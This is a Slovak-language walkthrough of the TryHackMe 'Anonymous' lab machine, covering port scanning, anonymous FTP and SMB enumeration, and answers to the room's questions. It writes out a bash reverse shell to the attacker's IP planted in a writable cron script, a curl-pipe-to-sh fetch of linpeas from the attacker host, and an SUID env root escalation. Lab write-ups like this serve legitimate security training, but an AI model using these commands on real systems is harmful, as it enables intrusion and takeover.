TryHackMe - Anonymous
Nie tá hackerská skupina
Úvod
Celkom ľahký stroj, napodiv bol hodnotený ako Medium. Aj napriek tomu fajn.
Nmap
Začnime nmap skenom:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.12.102
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.11.75.122
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Otvorené porty:
21/tcp
22/tcp
139/tcp
445/tcp
Otázka: Preskúmajte mašinu. Koľko portov je otvorených?
Odpoveď:
1
4
Môžeme tiež odpovedať na niektoré ostatné otázky, keďže ide o predvolené porty a služby
Otázka: Aká služba beží na porte 21?
Odpoveď:
1
ftp
Otázka: Aká služba beží na portoch 139 a 445?
Odpoveď:
1
smb
Prieskum
Skúsil som sa prihlásiť ako anonymous na port ftp a zdá sa, že to funguje, takže prezerám súbory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ ftp anonymous@10.10.12.102
Connected to 10.10.12.102.
220 NamelessOne's FTP Server!
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||46482|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21624|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 1376 Feb 27 14:20 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp>
Názvy shares SMB
môžeme vidieť aj takto:
1
smbclient -L 10.10.12.102
Stačí stlačiť enter a sme prihlásení ako anonymous
Otázka: V počítači používateľa existuje share. Ako sa to volá?
Odpoveď:
1
pics
Máme používateľské meno NamelessOne
Poďme si stiahnuť všetky súbory a pozrieť sa na nich
1
$ wget -m ftp://anonymous@10.10.12.102
Vlajka Používateľa
Dobre, čiže musíme:
- Vpísať náš reverzný shell do súboru
clean.sh
- Prihlásiť sa na ftp ako
anonymous
- Stiahnuť si súbor zo nášej mašiny
1
2
3
4
#!/bin/bash
bash -i >& /dev/tcp/10.11.75.122/1337 0>&1
1
2
3
4
5
6
7
8
ftp> put clean.sh clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||46815|)
150 Ok to send data.
100% |******************************************************************| 56 1.57 MiB/s 00:00 ETA
226 Transfer complete.
56 bytes sent in 00:00 (0.60 KiB/s)
ftp>
Otvoríme si netcat listener a čakáme
1
2
nc -lvnp 1337
listening on [any] 1337 ...
Ok, po chvíli čakania získavame spojenie
1
2
3
4
5
6
7
8
9
10
connect to [10.11.75.122] from (UNKNOWN) [10.10.12.102] 52464
bash: cannot set terminal process group (1522): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
<CENSORED>
Eskalácia Privilégií
Ok, teraz na eskaláciu privilégií
Použijeme linpeas
na kontrolu možných vektorov, ktoré by sme vedeli použiť na eskaláciu privilégií
- Stiahneme si linpeas z github
- Spustíme si lokálny http server na našej mašine
- Spustíme príkaz na stiahnutie súboru z našej mašiny a spustíme ho
1
sudo python3 -m http.server
A naša cieľová mašina
1
curl 10.11.75.122/linpeas.sh | sh
Zdá sa, že máme k dispozícii /env
Ak má binárny súbor nastavený SUID, nezrušia sa nastavené zvýšené privilégiá
Týmto spôsobom si vieme vypísať root vlajku
1
2
env /bin/sh
/usr/bin/env /bin/sh -p